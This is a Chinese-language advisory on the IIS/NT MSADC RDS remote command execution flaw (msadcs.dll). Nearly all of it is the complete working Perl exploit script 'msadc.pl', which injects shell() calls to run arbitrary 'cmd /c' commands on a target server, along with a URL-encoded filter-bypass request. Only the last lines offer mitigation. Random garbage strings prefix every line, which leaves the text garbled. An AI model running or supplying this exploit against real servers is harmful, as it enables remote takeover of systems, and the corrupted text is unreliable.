IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ys'T~Cs p $ouh 涉及程序:
8K{[2O7i) Microsoft NT server
bMKL1+y( 2p!"p`b~ 描述:
DC Q^fZ/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;%Hf)F uD9|.P} 详细:
h}L}[
如果你没有时间读详细内容的话,就删除:
z42F,4Gk c:\Program Files\Common Files\System\Msadc\msadcs.dll
T$+-IAE 有关的安全问题就没有了。
iv&v8;B :I1_X 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
"TS ?okx<'"[ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
WYrI |^[> 关于利用ODBC远程漏洞的描述,请参看:
]zfG~^. '5KeL3J; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ][;G=oCT XYEv&-M`?w 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7KjUW\mN2Z http://www.microsoft.com/security/bulletins/MS99-025faq.asp Uf\nFB? ^ 0N:XIGFa 这里不再论述。
ArK]0$T fc_2D| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
kA wNly H1EDMhn/ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
q,>?QBct* 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
58tVx'1y OJAIaC\ %A/_5;PZ/ #将下面这段保存为txt文件,然后: "perl -x 文件名"
+}xaQc:0| je/!{( #!perl
]3iH[,KU3 #
mLk(y* # MSADC/RDS 'usage' (aka exploit) script
?sz)J3 #
bM,1 f/^ # by rain.forest.puppy
^P'{U26 #
Ro(Zmk\t # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
XFVV},V
# beta test and find errors!
R(Kk{c:-@ 5Por "&% use Socket; use Getopt::Std;
{'En\e getopts("e:vd:h:XR", \%args);
Z;l`YK^- 81LNkE, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
v
*-0M RDqFL.-S if (!defined $args{h} && !defined $args{R}) {
_PFnh)o print qq~
a|7a_s4( Usage: msadc.pl -h <host> { -d <delay> -X -v }
aUHcYc\u -h <host> = host you want to scan (ip or domain)
M$4[)6Y -d <seconds> = delay between calls, default 1 second
<
0M:"^f -X = dump Index Server path table, if available
7CXW#H -v = verbose
#>=j79~ -e = external dictionary file for step 5
|*/[`|*G 2dp>Z", Or a -R will resume a command session
Isy'{-H
z!;1i[|x ~; exit;}
QqNW}:# 'y]\-T $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HB+|WW t> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'H5M|c$s if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
S"Lx% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;5-r_D;9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
tZ`Ts}\e if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
.MQ^( bV8g|l-4( if (!defined $args{R}){ $ret = &has_msadc;
tE6!+c<7 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&k-Vcrcz zDhB{3-Q1{ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
l3Njq^T . "cmd /c ";
qd3Q}Lk $in=<STDIN>; chomp $in;
_Z5Mw+=19 $command="cmd /c " . $in ;
(C4fG@n H ]4Hj if (defined $args{R}) {&load; exit;}
76hOB@ 1I@8A>2^OX print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
!Z
VU,b> &try_btcustmr;
qW:HNEiir `.s({/|[ print "\nStep 2: Trying to make our own DSN...";
gs!(;N\j| &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
v8AS=sY4r 4DZ-bt' print "\nStep 3: Trying known DSNs...";
ifN64`AhRX &known_dsn;
][}0#'/mV g&/T*L print "\nStep 4: Trying known .mdbs...";
C8FB:JNJV &known_mdb;
)95f*wte \%UkSO\nO3 if (defined $args{e}){
L(&&26Y print "\nStep 5: Trying dictionary of DSN names...";
cGjPxG; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
;M"9$M' {s. = )0V print "Sorry Charley...maybe next time?\n";
jKt7M>P exit;
k)EX(T\ D!7`CH+ ##############################################################################
]_N|L|]M .^B*e6DAD sub sendraw { # ripped and modded from whisker
I`NjqyTW sleep($delay); # it's a DoS on the server! At least on mine...
<&C]sb my ($pstr)=@_;
)1X#*mCxk socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j?'GZ d"B die("Socket problems\n");
`OSN\"\ad if(connect(S,pack "SnA4x8",2,80,$target)){
"AE5
V' select(S); $|=1;
|i++0BU print $pstr; my @in=<S>;
s[UHe{^T select(STDOUT); close(S);
Gz.|]:1 return @in;
yPq'( PV } else { die("Can't connect...\n"); }}
XI^QF;, !qG7V:6 ##############################################################################
Bve.C
Bz,?{o6s)Q sub make_header { # make the HTTP request
p,#o<W my $msadc=<<EOT
B_.%i+ZZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#\=F O> User-Agent: ACTIVEDATA
F w?[lS Host: $ip
&Xf}8^T<V Content-Length: $clen
\-g)T}g,I Connection: Keep-Alive
_*f`iu:` z4N*b"QF ADCClientVersion:01.06
q.;u?,|E/ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
&q9T9AOS LGn:c; --!ADM!ROX!YOUR!WORLD!
\kZ? Content-Type: application/x-varg
|p ,P46I Content-Length: $reqlen
~sh`r{0 Z.L c>7o EOT
E 7{U|\ ; $msadc=~s/\n/\r\n/g;
')cMiX\v return $msadc;}
+L;e^#>d `x*Pof!Io ##############################################################################
A*\.NTM \2h!aRWR sub make_req { # make the RDS request
I`!<9OTBj my ($switch, $p1, $p2)=@_;
#pnI\ my $req=""; my $t1, $t2, $query, $dsn;
,0!}7;j_c .:F%_dS D if ($switch==1){ # this is the btcustmr.mdb query
9P+-#B $query="Select * from Customers where City=" . make_shell();
@J/K-.r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
cPlZXf $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Iy&!<r7:]0 %WjXg:R elsif ($switch==2){ # this is general make table query
yd
d7I&$ $query="create table AZZ (B int, C varchar(10))";
7fZDsj: $dsn="$p1";}
|IzPgC Q ~#Wf? elsif ($switch==3){ # this is general exploit table query
^'PWI{ O $query="select * from AZZ where C=" . make_shell();
W:pIPDx1=! $dsn="$p1";}
W_"sM0
w k5'Vy8q elsif ($switch==4){ # attempt to hork file info from index server
a.k.n< $query="select path from scope()";
X}Ai-D $dsn="Provider=MSIDXS;";}
(@fHl=! Za z7fp#>uw elsif ($switch==5){ # bad query
?^al9D[:lz $query="select";
*nkoPVpC $dsn="$p1";}
i9,geQ7d W{ q U $t1= make_unicode($query);
v dc\R? $t2= make_unicode($dsn);
V_ .5b&@ $req = "\x02\x00\x03\x00";
Sw ig;` $req.= "\x08\x00" . pack ("S1", length($t1));
;DfY#- $req.= "\x00\x00" . $t1 ;
YJT&{jYi $req.= "\x08\x00" . pack ("S1", length($t2));
,l\-xSM $req.= "\x00\x00" . $t2 ;
G[uK -U $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Ga^"1TZ x return $req;}
"R;U/+ ,is3&9 ##############################################################################
d:C 'H8 vXrx{5gz sub make_shell { # this makes the shell() statement
y51e%n$ return "'|shell(\"$command\")|'";}
6
ob@[ @ dO!
kk"qn ##############################################################################
$r@zs'N B9jC?I |` sub make_unicode { # quick little function to convert to unicode
<lPm1/8 my ($in)=@_; my $out;
y.mda:$~= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0d)M\lG return $out;}
wDal5GJp k8&;lgO' ##############################################################################
BLQ 6A< _)3|f<E_t) sub rdo_success { # checks for RDO return success (this is kludge)
Tztu}t]N my (@in) = @_; my $base=content_start(@in);
;"5&b!=t if($in[$base]=~/multipart\/mixed/){
J?"B%B5c return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-A^ _{4X return 0;}
!C': _7Ju ##############################################################################
itt3.:y V1N3iI sub make_dsn { # this makes a DSN for us
AUG#_HE]k my @drives=("c","d","e","f");
6jD=F ^jw print "\nMaking DSN: ";
_YhES-Ff foreach $drive (@drives) {
\h/H#jZJ print "$drive: ";
q_[o"wq/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
U`(ee*}o "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
'x#~'v* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G"qvz{* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?=Z?6fw return 0 if $2 eq "404"; # not found/doesn't exist
mp1@|*Sn if($2 eq "200") {
x)DMPVB< foreach $line (@results) {
X]TG<r return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@Md/Q~> } return 0;}
Xx~Bp+ D0-3eV- ##############################################################################
m e$Z~/Akm I{C
SH sub verify_exists {
AofKw my ($page)=@_;
IVY]Ek EG~ my @results=sendraw("GET $page HTTP/1.0\n\n");
PO:{t return $results[0];}
0
1rK8jX &jJL"gq" ##############################################################################
rpha!h>w1% ~Fcm[eoC sub try_btcustmr {
~,Zc% s~| my @drives=("c","d","e","f");
q6luUx,@m my @dirs=("winnt","winnt35","winnt351","win","windows");
GR_-9}jQP .W%)*&WH\ foreach $dir (@dirs) {
"%w u2%i print "$dir -> "; # fun status so you can see progress
Dw.J2>uj foreach $drive (@drives) {
-`h)$&, print "$drive: "; # ditto
zR:L!S $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=&]g "a' $reqlenlen=length( "$reqlen" );
)*J^K?!S $clen= 206 + $reqlenlen + $reqlen;
oJz^|dW @Cyvf5|bL my @results=sendraw(make_header() . make_req(1,$drive,$dir));
QA`sx if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<iC(`J$D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
! n@KU!&k BX7kO0j ##############################################################################
Xl#ggub? ![=yi
tB sub odbc_error {
UB@+ck my (@in)=@_; my $base;
R
'zWYQ my $base = content_start(@in);
|u<7?)mp if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
\ ~$#1D1f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;*Et[}3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
g}cq K $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!l8PDjAE return $in[$base+4].$in[$base+5].$in[$base+6];}
+a+Om73B2 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
0S!K{xyR print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Zb>? 8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
q>+k@>bk@ VY4yS*y ##############################################################################
Why`ziks +=</&Tm sub verbose {
bWU'cw my ($in)=@_;
@I?=<Riu return if !$verbose;
5U$0F$BBp print STDOUT "\n$in\n";}
gjD Ho$ w<(pl% ##############################################################################
/y}xX z<?)Rq" sub save {
%IWPM" my ($p1, $p2, $p3, $p4)=@_;
}K|oicpUg open(OUT, ">rds.save") || print "Problem saving parameters...\n";
`X&gE,Ii print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@Jw-8Q{ close OUT;}
k5pN [7Oe3= ##############################################################################
tGa8W u'BaKWPS sub load {
+23xev my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~Mxvq9vaD open(IN,"<rds.save") || die("Couldn't open rds.save\n");
MQ8J<A Pf- @p=<IN>; close(IN);
ISvpQ 3{)s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&%J08l6 $target= inet_aton($ip) || die("inet_aton problems");
wf<M)Rs| print "Resuming to $ip ...";
vEJbA $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
FQ\h4` >B if($p[1]==1) {
vdwsJPFbc $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
5=ryDrx $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q\Vgl(;lX my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
oOFVb5qoFU if (rdo_success(@results)){print "Success!\n";}
I; rGD^ else { print "failed\n"; verbose(odbc_error(@results));}}
xJ.M;SF4 elsif ($p[1]==3){
o`-msz if(run_query("$p[3]")){
Y.p;1" print "Success!\n";} else { print "failed\n"; }}
Qo|\-y-# elsif ($p[1]==4){
Z *x'+X if(run_query($drvst . "$p[3]")){
yJIscwF print "Success!\n"; } else { print "failed\n"; }}
{+>-7
9b exit;}
Ig{0Z"> dSHDWu& ##############################################################################
scV5P Uq #Gi$DMW sub create_table {
N8df8=.kw my ($in)=@_;
fp"W[S|uL $reqlen=length( make_req(2,$in,"") ) - 28;
?}Y]|c^W $reqlenlen=length( "$reqlen" );
G' 1'/ $clen= 206 + $reqlenlen + $reqlen;
J#83 0r(- my @results=sendraw(make_header() . make_req(2,$in,""));
1< ?4\?j return 1 if rdo_success(@results);
VUuE T my $temp= odbc_error(@results); verbose($temp);
!dq.KwL return 1 if $temp=~/Table 'AZZ' already exists/;
.T`%tJ-Em return 0;}
wC'Szni ~wdGd+ez ##############################################################################
uPvEwq*
C 1|=A*T-<M sub known_dsn {
Q+{n-? : # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Q/Rqa5LI: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0> \sQ,T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Q,Eo mt "banner", "banners", "ads", "ADCDemo", "ADCTest");
t_1LL >R (cO:`W6. foreach $dSn (@dsns) {
N2o7%gJw print ".";
C,eu9wOT next if (!is_access("DSN=$dSn"));
%a7$QF] if(create_table("DSN=$dSn")){
cWm$;`Q#\ print "$dSn successful\n";
mR)wX 6 if(run_query("DSN=$dSn")){
|uJ%5y# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cZ3v=ke^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
`d(ThP;g yt2PU_), ##############################################################################
!
dgNtI@ y1#1Ne_ sub is_access {
cz$2R my ($in)=@_;
,]D,P $reqlen=length( make_req(5,$in,"") ) - 28;
B-mowmJ3dg $reqlenlen=length( "$reqlen" );
+w~oH = $clen= 206 + $reqlenlen + $reqlen;
%
AgUUn&k my @results=sendraw(make_header() . make_req(5,$in,""));
|vC~HJpuv' my $temp= odbc_error(@results);
xYB{;K verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$pz/?>! return 0;}
H,NF;QPPC rZpXPI ##############################################################################
A=>u
1h69 "Y.y:Vv; sub run_query {
R|Q?KCI& my ($in)=@_;
5IG-~jzCLb $reqlen=length( make_req(3,$in,"") ) - 28;
7[wPn`v2 $reqlenlen=length( "$reqlen" );
*K;~!P $clen= 206 + $reqlenlen + $reqlen;
7-A2_!_x{ my @results=sendraw(make_header() . make_req(3,$in,""));
<oeIcN7d return 1 if rdo_success(@results);
t`QENXA} my $temp= odbc_error(@results); verbose($temp);
"Rl}VeDY return 0;}
S]{oPc[7 T^q
0'#/ ##############################################################################
W{aY}` Z6m)tZVM sub known_mdb {
?h2}#wg my @drives=("c","d","e","f","g");
paMa+jhQQ my @dirs=("winnt","winnt35","winnt351","win","windows");
XX~,>Q}H= my $dir, $drive, $mdb;
,u!sjx my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$od7;% !!y a # this is sparse, because I don't know of many
3uMy]HUQ my @sysmdbs=( "\\catroot\\icatalog.mdb",
c[e}w+uB "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
BerwI
7!= "\\system32\\certmdb.mdb",
S
tyfB "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
GKCroyor <-0]i_4sK my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
P|> ~_$W "\\cfusion\\cfapps\\forums\\forums_.mdb",
?%kV?eu' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]%(2hY~i "\\cfusion\\cfapps\\security\\realm_.mdb",
jFb?b6b "\\cfusion\\cfapps\\security\\data\\realm.mdb",
(iGTACoF "\\cfusion\\database\\cfexamples.mdb",
L rPkxmR "\\cfusion\\database\\cfsnippets.mdb",
.sA.C]f "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
BORA(, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Rva$IX^] "\\cfusion\\brighttiger\\database\\cleam.mdb",
SY8C4vb'h "\\cfusion\\database\\smpolicy.mdb",
mcok/,/ "\\cfusion\\database\cypress.mdb",
&?RQZHtg "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~_ a-E "\\website\\cgi-win\\dbsample.mdb",
ze;KhUPRm "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@lt#Nz "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
LIdF 0 ); #these are just
h.fq,em+H foreach $drive (@drives) {
lys#G:H] foreach $dir (@dirs){
c"xK`%e foreach $mdb (@sysmdbs) {
yppo6HGD print ".";
5M_H
NWi4 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
,Lt[\_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
39jG8zr=Z[ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
.[ mRM print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#89!'W } else { print "Something's borked. Use verbose next time\n"; }}}}}
4Xv*wB1 b u"!jHPB foreach $drive (@drives) {
{}x^ri~ foreach $mdb (@mdbs) {
lNBL4yM print ".";
Tb-F]lg$ if(create_table($drv . $drive . $dir . $mdb)){
*\q
d print "\n" . $drive . $dir . $mdb . " successful\n";
c0fo7| if(run_query($drv . $drive . $dir . $mdb)){
m#F`] { print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
EZ`{Wnbq } else { print "Something's borked. Use verbose next time\n"; }}}}
VD\=`r)nT }
4H<lm*!^ jNy.Y8E& ##############################################################################
Hq 188< \^%}M!tan sub hork_idx {
~3 bPIg7D print "\nAttempting to dump Index Server tables...\n";
;({W#Wa print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
!?gKqx'T$ $reqlen=length( make_req(4,"","") ) - 28;
z$xo$R( $reqlenlen=length( "$reqlen" );
AzxXB $clen= 206 + $reqlenlen + $reqlen;
O7IJ%_A& my @results=sendraw2(make_header() . make_req(4,"",""));
B93+BwN>95 if (rdo_success(@results)){
#C3.Jef my $max=@results; my $c; my %d;
JO<wU for($c=19; $c<$max; $c++){
L,@lp $results[$c]=~s/\x00//g;
?K\axf>F $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
RdML3E $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
nj53G67y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
# Vha7 $d{"$1$2"}="";}
r$~HfskeI foreach $c (keys %d){ print "$c\n"; }
?1eK#Z. } else {print "Index server doesn't seem to be installed.\n"; }}
0_t`%l= &pp|U} ##############################################################################
Y.r+wc] xK\d4" sub dsn_dict {
y;H-m>*% open(IN, "<$args{e}") || die("Can't open external dictionary\n");
hfy_3} _ while(<IN>){
%1$,Vs<RH $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<3hRyG@vB next if (!is_access("DSN=$dSn"));
N'`A?&2ru if(create_table("DSN=$dSn")){
2('HvH]k print "$dSn successful\n";
Np0u,t%vs if(run_query("DSN=$dSn")){
#?9;uy<j.q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<HVt
V9R print "Something's borked. Use verbose next time\n";}}}
l2P=R)@{ print "\n"; close(IN);}
'CkIz"Wd w=J3=T@TD ##############################################################################
~O&:C{9= %n: k# sub sendraw2 { # ripped and modded from whisker
[mGLcg6Fw sleep($delay); # it's a DoS on the server! At least on mine...
r?
E)obE my ($pstr)=@_;
u^qT2Ss0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
exUu7&*: die("Socket problems\n");
7Da` if(connect(S,pack "SnA4x8",2,80,$target)){
1Z~FCJz print "Connected. Getting data";
*6DB0X_-} open(OUT,">raw.out"); my @in;
-:y,N
9^ select(S); $|=1; print $pstr;
h|{]B,.Lh while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
JB[~;nLlC close(OUT); select(STDOUT); close(S); return @in;
wyO4Y } else { die("Can't connect...\n"); }}
e [mm FSW_<% ##############################################################################
;P%1j| 7 O5nD+qTQ# sub content_start { # this will take in the server headers
EVC]sUT my (@in)=@_; my $c;
wHMX=N1/ for ($c=1;$c<500;$c++) {
GM f
`A,> if($in[$c] =~/^\x0d\x0a/){
C
mWgcw1 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
LR.<&m%~. else { return $c+1; }}}
ieCEo|b return -1;} # it should never get here actually
P%&0]FCx 9c,'k#k ##############################################################################
G[I"8iS, 1 +{{EOZ4 sub funky {
9} M?P my (@in)=@_; my $error=odbc_error(@in);
.Una+Z if($error=~/ADO could not find the specified provider/){
X296tA>C` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ryUQU^v exit;}
peuZ&yK+" if($error=~/A Handler is required/){
.p]RKS=(: print "\nServer has custom handler filters (they most likely are patched)\n";
vJc- 6EO exit;}
PB`Y
g if($error=~/specified Handler has denied Access/){
Nk VK print "\nServer has custom handler filters (they most likely are patched)\n";
]e>w}L(gV exit;}}
/quc}"__ Pz |>"' ##############################################################################
I%X6T@P Z=Y& B>:[ sub has_msadc {
YPK(be_|I my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
bj0G5dc= my $base=content_start(@results);
6/Xk7B return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
l2rd9-T return 0;}
i&66Fi1 |[ k.ii6iO ########################
(\hx` Yh=> 37 , ~f1%8z 解决方案:
2%@4] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
wb5baY9 2、移除web 目录: /msadc